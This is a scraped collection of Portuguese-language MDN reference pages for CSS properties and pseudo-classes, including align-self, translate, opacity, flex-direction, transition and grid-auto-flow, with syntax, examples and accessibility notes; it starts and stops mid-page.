globais \\*/\nalign-self: inherit;\nalign-self: initial;\nalign-self: unset;\n```\n\n### Valores\n\n`auto`\n\nO valor `align-items` é originado do valor de seu pai.\n\n`normal`\n\nO efeito dessa palavra-chave depende do modo de layout em que nos encontramos:\n\n* Em layouts absolutamente posicionados, a palavra-chave se comporta como `start` em caixas absolutamente posicionadas *replaced*, e como `stretch` em caixas absolutamente posicionadas *all other*.\n* Em posição estática de layouts absolutamente posicionados, a palavra-chave se comporta como `stretch`.\n* Para itens-flex, a palavra-chave se comporta como `stretch`.\n* Para itens-grid, essa palavra-chave leva ao comportamento similar ao de `stretch`, com exceção de caixas com aspect ratio ou tamanhos intrínsecos onde se comportam como `start`.\n* A propriedade não se aplica para caixas *block-level*, e para células de tabela.\n\n`self-start`\n\nAlinha os itens de maneira a mesclar a borda do alinhamento do container correspondente com o lado inicial do item no eixo.\n\n`self-end`\n\nAlinha os itens de maneira a mesclar a borda do alinhamento do container correspondente com o lado final do item no eixo.\n\n`flex-start`\n\nA borda da margem inicial do item flex é mesclada com a borda inicial da linha.\n\n`flex-end`\n\nA borda da margem fim do item flex é mesclada com a borda fim da linha.\n\n`center`\n\nA caixa-margem do item flex é centralizada ao longo da linha no eixo transversal. Se o tamanho do item é superior to container flex, então ele irá transbordar de maneira equivalente em ambas direções.\n\n`baseline first baseline`\n`last baseline`\n\n Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box's first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.\n The fallback alignment for `first baseline` is `start`, the one for `last baseline` is `end`.\n\n\n`stretch`\n\nCaso o tamanho combinado dos itens ao longo do eixo transversal seja menor do que o tamanho do container de alinhamento, e caso o tamanho do item segue o estilo `auto`, seu tamanho cresce igualmente (mas não proporcionalmente), enquanto que ainda respeitando as restrições impostas por `max-height` (en-US)/`max-width` (ou a funcionalidade equivalente), de maneira que o tamanho combinado de todos itens tamanho-`auto` preencha exatamente o container de alinhamento ao longo do eixo transversal.\n\n`safe`\n\nCaso o tamanho do item supere o alinhamento do container, o item é alinhado como se o modo de alinhamento fosse `start`.\n\n`unsafe`\n\nIndependente dos tamanhos relativos do item e do alinhamento do container, o valor do alinhmento dado é mantido.\n\n### Sintaxe formal\n```\n\nalign-self =   \n  auto                                  | (en-US)  \n  normal                                | (en-US)  \n  stretch                               | (en-US)  \n  <baseline-position>                   | (en-US)  \n  <overflow-position>? (en-US) <self-position>  | (en-US)  \n  anchor-center                           \n  \n<baseline-position> =   \n  [ (en-US) first | (en-US) last ] (en-US)? (en-US)  && (en-US)  \n  baseline             \n  \n<overflow-position> =   \n  unsafe  | (en-US)  \n  safe      \n  \n<self-position> =   \n  center      | (en-US)  \n  start       | (en-US)  \n  end         | (en-US)  \n  self-start  | (en-US)  \n  self-end    | (en-US)  \n  flex-start  | (en-US)  \n  flex-end      \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<section>\n  <div>Item #1</div>\n  <div>Item #2</div>\n  <div>Item #3</div>\n</section>\n```\n\n### CSS\n\n\n```css\nsection {\n  display: flex;\n  align-items: center;\n  height: 120px;\n  background: beige;\n}\n\ndiv {\n  height: 60px;\n  background: cyan;\n  margin: 5px;\n}\n\ndiv:nth-child(3) {\n  align-self: flex-end;\n  background: pink;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Alignment Module Level 3 # align-self-property |\n| CSS Flexible Box Layout Module Level 1 # align-items-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* CSS Flexbox Guide: *Basic Concepts of Flexbox*\n* CSS Flexbox Guide: *Aligning items in a flex container*\n* CSS Grid Guide: *Box alignment in CSS Grid layouts (en-US)*\n* CSS Box Alignment (en-US)\n* The `align-items` property"}
{"title":"translate - CSS","text":"translate\n=========\n\nA propriedade **`translate`** CSS do CSS, permite que você especifique transformações `translate` individualmente e independentemente da propriedade `transform`. É mais adequado para o uso de interface de usuário, e nos poupa quando se trata de lembrar a ordem exata que devemos especificar nos valores das funções de `transform`.\n\nSyntax\n------\n\n\n```css\n/\\* Propriedades principais \\*/\ntranslate: none;\n\n/\\* Valores únicos \\*/\ntranslate: 100px;\ntranslate: 50%;\n\n/\\* Dois valores \\*/\ntranslate: 100px 200px;\ntranslate: 50% 105px;\n\n/\\* Três valores \\*/\ntranslate: 50% 105px 5rem;\n\n/\\* Valores Globais \\*/\ntranslate: inherit;\ntranslate: initial;\ntranslate: revert;\ntranslate: revert-layer;\ntranslate: unset;\n```\n\n### Valores\n\nÚnico `<length-percentage>` (en-US) valor\n\nUm `<length>` (en-US) ou `<percentage>` (en-US) que especifica o deslocamento `translate` ao longo do eixo-X. Equivalente a função `translate()` (2D translation) com um único valor especificado.\n\nDois `<length-percentage>` (en-US) valores\n\nDois `<length>` (en-US) ou `<percentage>` (en-US) que especifica os deslocametos `translate` ao longo dos eixos X e Y (respectivamente) de uma 2D translation. Equivalente a função `translate()` (2D translation) com dois valores especificados.\n\nTrês valores\n\nDois `<length-percentage>` (en-US) e um único `<length>` (en-US) valores que especifica os deslocamentos dos eixos X, Y, e Z (respectivamente) de uma 3D translation. Equivalente a função `translate3d()` (3D translation).\n\n`none`\n\nEspecifica que nenhum deslocamento deva ser aplicado.\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | qualquer elemento transformavel |\n| Inherited | não |\n| Percentages | refer to the size of bounding box |\n| Computed value | as specified, but with relative lengths converted into absolute lengths |\n| Animation type | a transform |\n| Creates stacking context | yes |\n\nSintaxe formal\n--------------\n```\n\ntranslate =   \n  none                                                | (en-US)  \n  <length-percentage> [ (en-US) <length-percentage> <length> (en-US)? (en-US) ] (en-US)? (en-US)    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n### HTML\n\n\n```html\n<div>\n  <p class=\"translate\">Translation</p>\n</div>\n```\n\n### CSS\n\n\n```css\n\\* {\n  box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n}\n\ndiv {\n  width: 150px;\n  margin: 0 auto;\n}\n\np {\n  padding: 10px 5px;\n  border: 3px solid black;\n  border-radius: 20px;\n  width: 150px;\n  font-size: 1.2rem;\n  text-align: center;\n}\n\n.translate {\n  transition: translate 1s;\n}\n\ndiv:hover .translate {\n  translate: 200px 50px;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transforms Module Level 2 # individual-transforms |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `scale` (en-US)\n* `rotate` (en-US)\n* `transform`\n\nNota: `skew` não é um valor independente de `transform`"}
{"title":"Media queries - CSS","text":"Media queries\n=============\n\n**Media Queries** (consultas de mídia ) são um módulo de CSS que definem expressões, permitindo ajustar visualizações a uma variedade específica de dispositivos de saída sem mudar o conteúdo.\n\nReferências\n-----------\n\n### At-rules\n\n* `@import`\n* `@media` (en-US)\nGuides\n------\n\nUsando Media Queries\n\nApresenta o que fazem as media queries (consultas de mídia) e explica as possíveis expressões.\n\nTesting media queries (en-US)\n\nExplains how to test a media query programmatically, from JavaScript.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| Media Queries Level 4  |\n| CSS Conditional Rules Module Level 3  |"}
{"title":"opacity - CSS","text":"opacity\n=======\n\nSumário\n-------\n\nA propriedade CSS **opacity** especifica a transparência de um elemento, isto é, o grau no qual o background atrás do elemento é sobreposto.\n\nO valor aplica-se ao elemento como um todo, incluindo seu conteúdo, apesar de o valor não ser herdado por elementos filhos. Assim, um elemento e seus elementos filhos têm todos a mesma opacidade relativa ao background do elemento, mesmo se o elemento e seus elementos filhos tiverem opacidades diferentes entre si.\n\nSe você não quer aplicar a opacidade ao elemento filho - use isto:\n\n\n```css\nbackground: rgba(0, 0, 0, 0.4);\n```\n\n\nUsando essa propriedade com um valor diferente de 1, o elemento é colocado em um novo contexto de empilhamento.\n\n|  |  |\n| --- | --- |\n| Initial value | `1` |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Percentages | map to the range `[0,1]` |\n| Computed value | The same as the specified value after clipping the `number` to the range [0.0, 1.0]. |\n| Animation type | by computed value type |\n\nSintaxe\n-------\n\n\n```css\n/\\* Totalmente opaco \\*/\nopacity: 1;\nopacity: 1;\n\n/\\* Translúcido \\*/\nopacity: 0.6;\n\n/\\* Totalmente transparente \\*/\nopacity: 0;\nopacity: 0;\n\n/\\* Valores globais \\*/\nopacity: inherit;\nopacity: initial;\nopacity: unset;\n```\n\n### Valores\n\n`<number>`\n\nÉ um `<number>` no intervalo de 0.0 a 1.0, sendo estes incluídos, representando a opacidade do canal, que é o valor de seu canal alfa. Qualquer valor fora do intervalo, apesar de válido, é aproximado ao valor mais próximo dentro do intervalo.\n\n| Valor | Significado |\n| --- | --- |\n| `0` | O elemento é totalmente transparente (isto é, invisível). |\n| Qualquer `<number>` entre 0 e 1 | O elemento é translúcido (isto é, o background é visível). |\n| `1` | O elemento é totalmente opaco (sólido). |\n\n### Sintaxe formal\n```\n\nopacity =   \n  <alpha-value>    \n  \n<alpha-value> =   \n  <number>      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Exemplo básico\n\n\n```css\ndiv {\n  background-color: yellow;\n}\n.light {\n  opacity: 0.2; /\\* Mal consegue ver o texto acima do background \\*/\n}\n.medium {\n  opacity: 0.5; /\\* Vê o texto mais claramente acima do background \\*/\n}\n.heavy {\n  opacity: 0.9; /\\* Vê o texto muito claramente acima do background \\*/\n}\n```\n\n\n\n```html\n<div class=\"light\">Você mal vê isso.</div>\n<div class=\"medium\">Isso é mais fácil de ver.</div>\n<div class=\"heavy\">Isso é muito fácil de ver.</div>\n```\n\n### Opacidade diferente com `:hover`\n\n\n```css\nimg.opacity {\n  opacity: 1;\n  filter: alpha(opacity=100); /\\* IE8 e anteriores \\*/\n  zoom: 1; /\\* Ativa \"hasLayout\" no IE 7 e anteriores \\*/\n}\n\nimg.opacity:hover {\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n  zoom: 1;\n}\n```\n\n\n\n```html\n<img\n src=\"//developer.mozilla.org/media/img/mdn-logo.png\"\n alt=\"MDN logo\"\n width=\"128\"\n height=\"146\"\n class=\"opacity\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Color Module Level 4 # transparency |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* MSDN Microsoft's filter:alpha(opacity=xx)"}
{"title":":empty - CSS","text":":empty\n======\n\nA pseudo-classe CSS **`:empty`** representa qualquer elemento que não tenha filhos. Aqui, filhos podem ser outros elementos ou blocos de texto (incluindo espaços em branco). Comentários e instruções de processamento não são considerados ao se determinar se um elemento é vazio.\n\n\n```css\n/\\* Seleciona qualquer <div> que não tenha conteúdo \\*/\ndiv:empty {\n  background: lime;\n}\n```\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\n### HTML\n\n\n```html\n<div class=\"box\"><!-- Eu serei verde. --></div>\n<div class=\"box\">Eu serei rosa.</div>\n<div class=\"box\">\n  <!-- Eu serei rosa por causa do espaço em branco em volta desse comantário -->\n</div>\n```\n\n### CSS\n```\n\nbody {\n  display: flex;\n  justify-content: space-around;\n}\n```\n\n\n\n```css\n.box {\n  background: pink;\n  height: 80px;\n  width: 80px;\n}\n\n.box:empty {\n  background: lime;\n}\n```\n\n### Resultado\n\nQuestões de acessibilidade\n--------------------------\n\nTecnologias assistivas como leitores de tela não conseguem identificar e processar conteúdos interativos que estejam vazios. Todo conteúdo interativo deve ter um nome acessível, que é criado ao fornecer um valor de texto para o elemento pai do controle interativo (âncoras, botões, etc.). Nomes acessíveis expõem o controle interativo à árvore de acessibilidade (en-US), uma API que comunica informações importantes úteis para tecnologias assistivas.\n\nThe text that provides the interactive control's accessible name can be hidden using a combination of properties that remove it visually from the screen but keep it parseable by assistive technology. This is commonly used for buttons that rely solely on an icon to convey purpose.\n\n* What is an accessible name? | The Paciello Group\n* Hidden content for better a11y | Go Make Things\n* MDN Understanding WCAG, Guideline 2.4 explanations (en-US)\n* Understanding Success Criterion 2.4.4 | W3C Understanding WCAG 2.0\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # the-empty-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"flex-direction - CSS","text":"flex-direction\n==============\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade CSS **`flex-direction`** define como os itens flexíveis são colocados no contêiner flexível, definindo o eixo principal e a direção (normal ou invertido).\n\nExperimente\n-----------\n\nObserve que os valores `row` e `row-reverse` são afetados pela direcionalidade do contêiner flexível. Se seu atributo `dir` for **`ltr`**, **`row`** representa o eixo horizontal orientado da esquerda para a direita, e `row-reverse` está orientado da direita para esquerda; Se seu atributo **`rtl`**, **`row`** representa o eixo orientado da direita para a esquerda e `row-reverse` da esquerda para a direita.\n\nSyntax\n------\n\n\n```css\n/\\* The direction text is laid out in a line \\*/\nflex-direction: row;\n\n/\\* Like <row>, but reversed \\*/\nflex-direction: row-reverse;\n\n/\\* The direction in which lines of text are stacked \\*/\nflex-direction: column;\n\n/\\* Like <column>, but reversed \\*/\nflex-direction: column-reverse;\n\n/\\* Global values \\*/\nflex-direction: inherit;\nflex-direction: initial;\nflex-direction: unset;\n```\n\n### Valores\n\nOs seguintes valores são aceitos:\n\n`row`\n\nO eixo principal do flex container é definido para ser o mesmo que a direção do texto. Os **pontos de** **início** e **término** principais são iguais à direção do conteúdo.\n\n`row-reverse`\n\nSe comporta da mesma forma que `row` porém os **pontos de início** e **término** serão invertidos (permutados).\n\n`column`\n\nO eixo principal do flex container é igual ao eixo do bloco. Os **pontos de início** e **término** principais são iguais aos pontos de antes e depois do modo de escrita.\n\n`column-reverse`\n\nSe comporta da mesma forma que `column` porém os **pontos de início** e **término** serão invertidos (permutados).\n\n### Formal syntax\n```\n\nflex-direction =   \n  row             | (en-US)  \n  row-reverse     | (en-US)  \n  column          | (en-US)  \n  column-reverse    \n  \n```\n\nExample\n-------\n\n### HTML\n\n\n```html\n<h4>This is a Column-Reverse</h4>\n<div id=\"content\">\n  <div class=\"box\" style=\"background-color:red;\">A</div>\n  <div class=\"box\" style=\"background-color:lightblue;\">B</div>\n  <div class=\"box\" style=\"background-color:yellow;\">C</div>\n</div>\n<h4>This is a Row-Reverse</h4>\n<div id=\"content1\">\n  <div class=\"box1\" style=\"background-color:red;\">A</div>\n  <div class=\"box1\" style=\"background-color:lightblue;\">B</div>\n  <div class=\"box1\" style=\"background-color:yellow;\">C</div>\n</div>\n```\n\n### CSS\n\n\n```css\n#content {\n  width: 200px;\n  height: 200px;\n  border: 1px solid #c3c3c3;\n  display: flex;\n  flex-direction: column-reverse;\n}\n\n.box {\n  width: 50px;\n  height: 50px;\n}\n\n#content1 {\n  width: 200px;\n  height: 200px;\n  border: 1px solid #c3c3c3;\n  display: flex;\n  flex-direction: row-reverse;\n}\n\n.box1 {\n  width: 50px;\n  height: 50px;\n}\n```\n\n### Result\n\nAccessibility Concerns\n----------------------\n\nUsar a propriedade `flex-direction` com o valores de `row-reverse` or `column-reverse` vai criar uma desconexão entre a apresentação visual do conteúdo e a ordem do DOM. Isso afetará adversamente os usuários com problemas de visão navegando com o auxílio de tecnologia assistiva, como um leitor de tela. Se a oredem visual (CSS) for importante, os usuários de leitores de tela não terão acesso à ordem de leitura correta.\n\n* Flexbox & the keyboard navigation disconnect — Tink\n* Source Order Matters | Adrian Roselli\n* MDN Understanding WCAG, Guideline 1.3 explanations (en-US)\n* Understanding Success Criterion 1.3.2 | W3C Understanding WCAG 2.0\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Flexible Box Layout Module Level 1 # flex-direction-property |\n\n|  |  |\n| --- | --- |\n| Initial value | `row` |\n| Aplica-se a | flex containers |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* CSS Flexbox Guide: *Basic Concepts of Flexbox*\n* CSS Flexbox Guide: *Ordering flex items (en-US)*"}
{"title":":optional - CSS","text":":optional\n=========\n\nA pseudo-classe CSS **`:optional`** representa qualquer elemento `<input>`, `<select>`, ou `<textarea>` que não contenha o atributo `required`.\n\n\n```css\n/\\* Selects qualquer <input> opcional \\*/\ninput:optional {\n  border: 1px dashed black;\n}\n```\n\n\nEsta pseudo-classe é utilizada para estilizar campos do formulário que não são requeridos para sumissão.\n\n**Nota:** A pseudo-classe `:required` seleciona campos do fumulário *requeridos*.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\nVeja `:invalid` como exemplo.\n\nReferências de acessibilidade\n-----------------------------\n\nSe um formulário (en-US) contém `<input>` opcionais, inputs requeridos devem ser indicados utilizando o atriuto `required`. Isto garantirá que usuários que navegam com tecnologia de acessibilidade, como um leitor de tela, possam entender quais entradas devem ter o conteúdo validado para submeter o formulário com êxito.\n\nEntradas requeridas devem ser indicadas visualmente, utilizando um tratamento que não seja apenas a cor para passar o significado. Usualmente, textos descritivos e/ou um ícone são utilizados.\n\n* MDN Understanding WCAG, Guideline 3.3 explanations (en-US)\n* Understanding Success Criterion 3.3.2 | W3C Understanding WCAG 2.0\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-optional |\n| Selectors Level 4 # opt-pseudos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Outra pseudo-classes de validação relacionadas: `:required`, `:invalid`, `:valid`\n* Validação de dados de formulário (en-US)"}
{"title":"transition - CSS","text":"transition\n==========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nSummary\n-------\n\nA propriedade de CSS**transition** é uma propriedade abreviada para `transition-property` (en-US), `transition-duration` (en-US), `transition-timing-function` e `transition-delay`. Ela permite definir a transição entre dois estados de um elemento. Estados diferentes podem ser definidos usando pseudo-classes tais como `:hover` ou `:active`; ou dinamicamente, usando javascript.\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `transition-delay`: `0s`\n* `transition-duration` (en-US): `0s`\n* `transition-property` (en-US): all\n* `transition-timing-function`: `ease`\n* `transition-behavior` (en-US): `normal`\n |\n| Aplica-se a | all elements, `::before` and `::after` pseudo-elements |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `transition-delay`: as specified\n* `transition-duration` (en-US): as specified\n* `transition-property` (en-US): as specified\n* `transition-timing-function`: as specified\n* `transition-behavior` (en-US): as specified\n |\n| Animation type | Not animatable |\n\nSyntax\n------\n\n\n```css\n/\\* Apply to 1 property \\*/\n/\\* property name | duration \\*/\ntransition: margin-left 4s;\n\n/\\* property name | duration | delay \\*/\ntransition: margin-left 4s 1s;\n\n/\\* property name | duration | timing function | delay \\*/\ntransition: margin-left 4s ease-in-out 1s;\n\n/\\* Apply to 2 properties \\*/\ntransition:\n  margin-left 4s,\n  color 1s;\n\n/\\* Apply to all changed properties \\*/\ntransition: all 0.5s ease-out;\n\n/\\* Global values \\*/\ntransition: inherit;\ntransition: initial;\ntransition: unset;\n```\n\n\nObserve que a ordem é importante dentro dos itens nesta propriedade: o primeiro valor que pode ser analisado como tempo é atribuído ao `transition-duration` (en-US), duration e o segundo valor que pode ser analisado como tempo é atribuído ao `transition-delay`.\n\nVeja como as coisas são manipuladas quando as listas de valores de propriedades não têm o mesmo comprimento. Em resumo, descrições de transição extras além do número de propriedades realmente sendo animadas são ignoradas.\n\n### Formal syntax\n```\n\ntransition =   \n  <single-transition># (en-US)    \n  \n<single-transition> =   \n  [ (en-US) none | (en-US) <single-transition-property> ] (en-US)  || (en-US)  \n  <time>                                   || (en-US)  \n  <easing-function>                        || (en-US)  \n  <time>                                     \n  \n<single-transition-property> =   \n  all             | (en-US)  \n  <custom-ident> (en-US)    \n  \n<easing-function> =   \n  linear                          | (en-US)  \n  <linear-easing-function>        | (en-US)  \n  <cubic-bezier-easing-function>  | (en-US)  \n  <step-easing-function>            \n  \n<linear-easing-function> =   \n  linear( <linear-stop-list> )    \n  \n<cubic-bezier-easing-function> =   \n  ease                                                | (en-US)  \n  ease-in                                             | (en-US)  \n  ease-out                                            | (en-US)  \n  ease-in-out                                         | (en-US)  \n  cubic-bezier( <number [0,1]> , <number> , <number [0,1]> , <number> )    \n  \n<step-easing-function> =   \n  step-start                             | (en-US)  \n  step-end                               | (en-US)  \n  steps( <integer> (en-US) , <step-position>? (en-US) )    \n  \n<linear-stop-list> =   \n  [ (en-US) <linear-stop> ] (en-US)# (en-US)    \n  \n<step-position> =   \n  jump-start  | (en-US)  \n  jump-end    | (en-US)  \n  jump-none   | (en-US)  \n  jump-both   | (en-US)  \n  start       | (en-US)  \n  end           \n  \n<linear-stop> =   \n  <number>               && (en-US)  \n  <linear-stop-length>? (en-US)    \n  \n<linear-stop-length> =   \n  <percentage> (en-US){1,2} (en-US)    \n  \n```\n\nExamples\n--------\n\nExistem vários outros exemplos de transições CSS incluídas no artigo principal sobre CSS transitions.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Transitions # transition-shorthand-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using CSS transitions (en-US)\n* `TransitionEvent` (en-US)"}
{"title":":out-of-range - CSS","text":":out-of-range\n=============\n\nA pseudo classe (en-US) de CSS **`:out-of-range`** representa um elemento de `<entrada>` cujo valor atual esta fora dos limites especificados pelo `min` e `max` atributos\n\n\n```css\n/\\* Selecione qualquer <entrada>, mas somente quando estiver dentros dos\n limites especificados, e quando este valor estiver fora deste limite \\*/\ninput:out-of-range {\n  background-color: rgba(255, 0, 0, 0.25);\n}\n```\n\n\nEssa pseudo classe é muito útil por dar ao usuario uma indicacão visual de que o valor atual esta fora dos limites permitidos\n\n**Nota:** Esta pseudo classe se aplica somente a elementos que tem (ou podem ter) uma limitacao. Na falta dessa de algo como essa limitacao, o elemento nao tera como ficar \"in-range\"(dentro dos limites) ou \"out-of-range\" (fora dos limites).\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplo\n-------\n\n### HTML\n\n\n```html\n<form action=\"\" id=\"form1\">\n  <p>Valores entre 1 e 10 são validos.</p>\n  <ul>\n    <li>\n      <input\n id=\"value1\"\n name=\"value1\"\n type=\"number\"\n placeholder=\"1 to 10\"\n min=\"1\"\n max=\"10\"\n value=\"12\" />\n      <label for=\"value1\">Seu valor está </label>\n    </li>\n  </ul>\n</form>\n```\n\n### CSS\n\n\n```css\nli {\n  list-style: none;\n  margin-bottom: 1em;\n}\n\ninput {\n  border: 1px solid black;\n}\n\ninput:in-range {\n  background-color: rgba(0, 255, 0, 0.25);\n}\n\ninput:out-of-range {\n  background-color: rgba(255, 0, 0, 0.25);\n  border: 2px solid red;\n}\n\ninput:in-range + label::after {\n  content: \"dentro dos limites.\";\n}\n\ninput:out-of-range + label::after {\n  content: \"Fora dos limites!\";\n}\n```\n\n### Resultado\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-out-of-range |\n| Selectors Level 4 # out-of-range-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `:in-range` (en-US)\n* Form data validation (en-US)"}
{"title":"scrollbar-color - CSS","text":"scrollbar-color\n===============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade CSS **`scrollbar-color`** define as cores da barra de rolagem do navegador.\n\n**Track** refere-se ao fundo da barra de rolagem, que normalmente é fixa, independente da posição da página.\n\n**Thumb** refere-se a parte móvel da barra de rolagem, um botão auxiliar que flutua acima da **Track**.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | scrolling boxes |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | by computed value type |\n\nSintaxe\n-------\n\n\n```css\n/\\* Palavras reservadas \\*/\nscrollbar-color: auto;\nscrollbar-color: dark;\nscrollbar-color: light;\n\n/\\* Nomes de <color> \\*/\nscrollbar-color: rebeccapurple green; /\\* Duas cores válidas.\nO primeiro valor aplica-se ao Thumb, o segundo ao Track \\*/\n\n/\\* Valores globais \\*/\nscrollbar-color: inherit;\nscrollbar-color: initial;\nscrollbar-color: unset;\n```\n\n### Valores\n\n`<scrollbar-color>`\n\nDefine a cor da scrollbar.\n\n| `auto` | Valor padrão de renderização do background da scrollbar (Track), caso não sejam definidos outros valores. |\n| --- | --- |\n| `dark` | Mostra uma scrollbar mais escura, podendo ser um estilo padrão definido pelo navegador, ou personalizado com cores escuras. |\n| `light` | Mostra uma scrollbar mais clara, podendo ser um estilo padrão definido pelo navegador, ou personalizado com cores escuras. |\n| `<color> <color>` | A primeira cor é aplicada à **thumb**, a segunda cor ao **track** |\n\n**Nota:** User Agents must apply any `scrollbar-color` value set on the root element to the viewport.\n\n### Sintaxe formal\n```\n\nscrollbar-color =   \n  auto        | (en-US)  \n  <color>{2} (en-US)    \n  \n```\n\nExemplo\n-------\n\n### CSS\n\n\n```css\n.scroller {\n  width: 300px;\n  height: 100px;\n  overflow-y: scroll;\n  scrollbar-color: rebeccapurple green;\n}\n```\n\n### HTML\n\n\n```html\n<div class=\"scroller\">\n  Veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion\n  daikon amaranth tatsoi tomatillo melon azuki bean garlic. Gumbo beet greens\n  corn soko endive gumbo gourd. Parsley shallot courgette tatsoi pea sprouts\n  fava bean collard greens dandelion okra wakame tomato. Dandelion cucumber\n  earthnut pea peanut soko zucchini.\n</div>\n```\n\n### Result\n\nCuidados de acessibilidade\n--------------------------\n\nWhen using `scrollbar-color` property with specific color values, authors should ensure the specified colors have enough contrast between them. For keyword values, UAs should ensure the colors they use have enough contrast. See Techniques for WCAG 2.0: G183: Using a contrast ratio of 3:1.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Scrollbars Styling Module Level 1 # scrollbar-color |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"grid-auto-flow - CSS","text":"grid-auto-flow\n==============\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade de CSS **`grid-auto-flow`** controla como o algoritmo de arrumação automática funciona, especificando exatamente como os itens fluirão no grid.\n\n\n```css\n/\\* Keywords Chaves \\*/\ngrid-auto-flow: row;\ngrid-auto-flow: column;\ngrid-auto-flow: dense;\ngrid-auto-flow: row dense;\ngrid-auto-flow: column dense;\n\n/\\* Valores globais \\*/\ngrid-auto-flow: inherit;\ngrid-auto-flow: initial;\ngrid-auto-flow: unset;\n```\n\n\n|  |  |\n| --- | --- |\n| Initial value | `row` |\n| Aplica-se a | grid containers |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntaxe\n-------\n\nEsta propriedade pode ser de duas maneiras:\n\n* uma única keyword (palavra-chave): `row(linha)`, `column`(coluna), ou `dense(denso)`.\n* duas keywords (palavras-chave): `row dense(linha densa)` ou `column dense(coluna densa)`.\n### Valores\n\n`row` (linha)\n\nKeyword (palavra-chave) que determina que o algoritmo de arrumação automática coloca os itens preenchendo cada linha de uma vez, adicionando novas linhas se necessário. Se nem `row` (linha) ou `column` (coluna) for especificado, `row` (linha) é assumido.\n\n`column` (coluna)\n\nÉ uma keyword (palavra-chave) que determina que o algoritmo de arrumação automática coloque os itens preenchendo colunas, adicionando novas se necessário.\n\n`dense` (denso)\n\nKeyword (palavra-chave) que determina que o algoritmo de arrumação automática use um formato de compactação \"denso\", que tenta preencher os espaços anteriores do grid caso receba itens menores após. Isto talvez deixe os itens fora de ordem, preenchendo espaços deixados por itens maiores.\n\nSe omitido, o algoritmo \"esparso\" é utilizado, onde o algoritmo de arrumação somente \"avança\" no grid ao colocar os itens, nunca voltando para preencher os espaços. Isso garante que todos os itens colocados automaticamente apareçam \"em ordem\", mesmo que deixem espaçs que poderiam ser preenchidos por itens posteriores.\n\n### Sintaxe Formal\n```\n\ngrid-auto-flow =   \n  [ (en-US) row | (en-US) column ] (en-US)  || (en-US)  \n  dense               \n  \n```\n\nExemplo\n-------\n\n### Conteúdo HTML\n\n\n```html\n<div id=\"grid\">\n  <div id=\"item1\"></div>\n  <div id=\"item2\"></div>\n  <div id=\"item3\"></div>\n  <div id=\"item4\"></div>\n  <div id=\"item5\"></div>\n</div>\n<select id=\"direction\" onchange=\"changeGridAutoFlow()\">\n  <option value=\"column\">column</option>\n  <option value=\"row\">row</option>\n</select>\n<input id=\"dense\" type=\"checkbox\" onchange=\"changeGridAutoFlow()\" 